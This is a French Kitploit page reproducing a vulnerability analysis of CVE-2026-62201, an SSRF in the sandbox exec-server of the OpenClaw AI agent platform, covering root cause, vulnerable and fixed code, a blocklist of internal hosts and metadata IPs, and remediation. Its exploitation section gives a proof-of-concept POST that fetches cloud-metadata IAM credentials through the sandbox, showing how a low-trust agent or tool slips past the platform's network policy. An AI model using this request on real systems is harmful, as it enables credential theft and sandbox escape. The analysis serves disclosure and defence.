Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-62201-OpenClaw-SSRF — Analyse approfondie de CVE-2026-62201 : contournement de la politique réseau du serveur d'exécution sandbox d'OpenClaw (SSRF). Cause racine, code vulnérable vs corrigé, exploitation, détection, remédiation. | Kitploit
Outils/GitHubGitHub/diedromeo/cve-2026-62201-openclaw-ssrf
Analyse des VulnérabilitésExploitationSécurité WebSécurité Cloud
GitHubdiedromeo/cve-2026-62201-openclaw-ssrf

CVE-2026-62201-OpenClaw-SSRF

Analyse approfondie de CVE-2026-62201 : contournement de la politique réseau du serveur d'exécution sandbox d'OpenClaw (SSRF). Cause racine, code vulnérable vs corrigé, exploitation, détection, remédiation.

Voir le dépôt
15il y a 21 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-62201 — Contournement de la politique réseau du Sandbox Exec-Server d'OpenClaw (SSRF)

Sévérité : Élevée · CVSS : 7,7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (Server-Side Request Forgery)


Vue d'ensemble de la vulnérabilité

ChampValeur
Avis de sécuritéGHSA-mgvr-6gvw-3rgr
NVDCVE-2026-62201
ProduitOpenClaw (paquet npm openclaw) — composant sandbox exec-server
Versions affectéesopenclaw < 2026.6.6
Version corrigée2026.6.6 et ultérieures
Cause racineAbsence de validation SSRF dans l'assistant HTTP intégré de l'exec-server (SANDBOX_HTTP_REQUEST_SCRIPT)
Commit de correction21410d1c — « fix(codex): guard sandbox http requests »
Vecteur d'attaqueRequête HTTP POST vers le gestionnaire http/request de l'exec-server avec une URL contrôlée par l'attaquant
ImpactUn appelant à faibles privilèges atteint des destinations réseau internes (métadonnées cloud, IP privées, services localhost) que la politique réseau d'OpenClaw devrait bloquer

Résumé

OpenClaw est une plateforme d'agents IA dont le sandbox exec-server expose un assistant de requêtes HTTP que les agents utilisent pour effectuer des appels web sortants. Les versions antérieures à 2026.6.6 fournissaient cet assistant sans protection SSRF : un appelant de confiance moindre — tout agent, outil ou chemin d'entrée que la plateforme considère comme moins fiable qu'un opérateur de passerelle — pouvait soumettre une URL arbitraire et faire en sorte que l'exec-server la récupère depuis le réseau de l'hôte.

Les contrôles de politique réseau applicables à l'egress direct du sandbox n'étaient pas appliqués lorsque les requêtes transitaient par l'interface HTTP de l'exec-server. Cette incohérence constitue la vulnérabilité : l'exec-server agissait comme un proxy HTTP sans restriction vers le réseau interne.


Analyse technique approfondie

Le composant : Sandbox Exec-Server

Lorsqu'OpenClaw exécute un agent Codex dans un sandbox, il démarre un exec-server local (extensions/codex/src/app-server/sandbox-exec-server.ts) qui héberge des méthodes JSON-RPC sur un transport WebSocket/HTTP. L'une de ces méthodes, http/request, permet à l'agent de récupérer des URL. L'implémentation fait transiter la requête par un petit script Python embarqué — SANDBOX_HTTP_REQUEST_SCRIPT — qui effectue le travail urllib réel.

Le gestionnaire de requêtes se trouve dans extensions/codex/src/app-server/sandbox-exec-server/http.ts.

Code vulnérable ([email protected])

L'assistant Python recevait l'URL et vérifiait uniquement le schéma :

# Extrait de [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abrégé)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

C'est là toute la barrière. Il n'y avait :

  • ❌ Aucune liste noire de noms d'hôtes (localhost, *.internal, metadata.google.internal …)
  • ❌ Aucun rejet d'adresses IP privées / link-local / loopback
  • ❌ Aucune vérification de résolution DNS (un nom d'hôte pouvait résoudre vers une IP interne)
  • ❌ Aucune validation des redirections — une redirection vers http://169.254.169.254/ était suivie aveuglément

Résultat : {"method":"GET","url":"http://<hôte-interne>/"} renvoyait le corps de la réponse interne à l'appelant. L'exec-server était un proxy ouvert vers le réseau de l'hôte.

La correction ([email protected])

Le commit 21410d1c a ajouté une défense en profondeur sur les deux couches :

Couche 1 — Pré-vérification TypeScript (assertSandboxHttpRequestTargetAllowed dans http.ts) :

function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

Couche 2 — Durcissement de l'assistant Python (assert_url_allowed dans le script embarqué) :

  • Noms d'hôtes bloqués : localhost, localhost.localdomain, metadata.google.internal, plus les suffixes *.localhost, *.local, *.internal
  • Adresses IP de métadonnées cloud : 169.254.169.254, 100.100.100.200, fd00:ec2::254
  • Réseaux IPv4/IPv6 bloqués : CGNAT 100.64.0.0/10, benchmarking 198.18.0.0/15, documentation 2001:db8::/32, et plus encore
  • Classification ipaddress : loopback, privé, link-local, multicast, réservé, non spécifié
  • Épinglage de la résolution DNS : le nom d'hôte est résolu avant la requête, chaque adresse résolue est vérifiée, puis les adresses vérifiées sont épinglées pour la connexion réelle (empêche le DNS-rebinding)
  • GuardedRedirectHandler : chaque saut de redirection ré-exécute assert_url_allowed avant d'être suivi
  • Extraction IPv4 encapsulée dans IPv6 : les formes mappées (::ffff:a.b.c.d), 6to4 (2002::/16), Teredo et ISATAP sont désencapsulées et leur IPv4 intégrée est vérifiée
def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

Exploitation

Prérequis

  • Une instance OpenClaw en cours d'exécution < 2026.6.6 avec l'exec-server sandbox activé
  • Capacité d'atteindre le point de terminaison HTTP de l'exec-server et d'invoquer http/request (la plateforme considère cet accès comme à faibles privilèges — par exemple un plugin, un outil ou un chemin d'entrée, et non un opérateur de passerelle)

Procédure pas à pas

Étape 1 — Envoyer une requête ciblant un service interne :

POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

Étape 2 — Réponse vulnérable (HTTP 200) :

L'exec-server a récupéré l'URL interne et renvoyé le corps à l'appelant — encapsulé en base64 sous forme de bodyBase64 :

{
  "status": 200,
  "headers": [{"name":"Content-Type","value":"application/json"}],
  "bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}

Décodé :

{
  "secret": "...",
  "instanceId": "...",
  "region": "us-east-1",
  "role": "admin-role"
}

Étape 3 — Réponse corrigée (HTTP 502) :

{
  "error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}

La destination interne est inaccessible via l'exec-server sur les versions corrigées.

Exemples de chaînes d'attaque

Télécharger l’outil